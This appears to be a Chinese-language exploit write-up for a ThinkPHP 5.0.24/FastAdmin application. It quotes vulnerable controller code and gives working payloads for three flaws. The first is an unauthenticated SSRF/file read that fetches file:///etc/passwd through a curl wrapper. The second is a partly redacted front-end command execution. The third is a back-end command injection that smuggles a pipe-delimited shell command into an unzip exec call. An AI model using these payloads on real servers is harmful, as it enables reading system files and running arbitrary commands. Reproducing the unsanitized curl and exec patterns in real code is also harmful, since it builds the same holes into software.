框架:ThinkPHP 5.0.24 FastAdmin Debug:True

0x01 前台任意文件读取+SSRF漏洞

位于 /api/controller/index.php 控制器中的 request_post 方法存在curl_exec函数，且传参均可控，导致漏洞产生.

public function request_post($url = '', $post_data = [])
{
    if (empty($url) || empty($post_data)) {
      return false;
    }
    $postUrl = $url;
    $curlPost = $post_data;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_ENCODING, '');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5000);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_AUTOREFERER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
  }

Payload:

/api/index/request_post?url=file:///etc/passwd&post_data=1

0x02 前台任意命令执行漏洞(RCE)

位于 /api/controller/xxx.php 控制器下的 xxxx 方法存在 命令执行函数，且传参均可控，导致漏洞产生，只需要绕过两个数组即可执行任意命令.

需要让 $xxxx[0][“xxx”] == 1 且 !in_array($appid, $noinject, true)，这里我们不进入第一个if判断，因为他需要 fopen 打开 $apppath . “/zsign.txt”; 若是无这个文件，则直接返回exit() 或者报错;

Payload:

GET /api/xxxx/xxxx HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

0x03 后台任意命令执行漏洞

位于 /admin/controller/Category.php 控制器的 xxx 方法存在exec函数，且传参均可控，导致漏洞产生.

public function xxxx($filePath) {

  $locale = 'zh_CN.UTF-8';
  setlocale(LC_ALL, $locale);
  putenv('LC_ALL='.$locale);
  //var_dump($ipa_file);
  // 获取文件地址
  $md5=substr(substr($filePath,-36),0,32);
  $filesPath = $_SERVER['DOCUMENT_ROOT']."/cos/".$md5;
  $path = 'cos';
  if(!file_exists($path))mkdir($path); 

  // 解压文件
  $_cmd = 'unzip -u '.$filePath.' -d '.$filesPath;
  exec($_cmd,$output,$return_var);

  ......

Payload(命令写到文件的话需要绝对路径，可通过使其报错等方式拿到):

/zxqm.php/category/xxxx?filePath=|id%20>%20绝对路径/1.txt|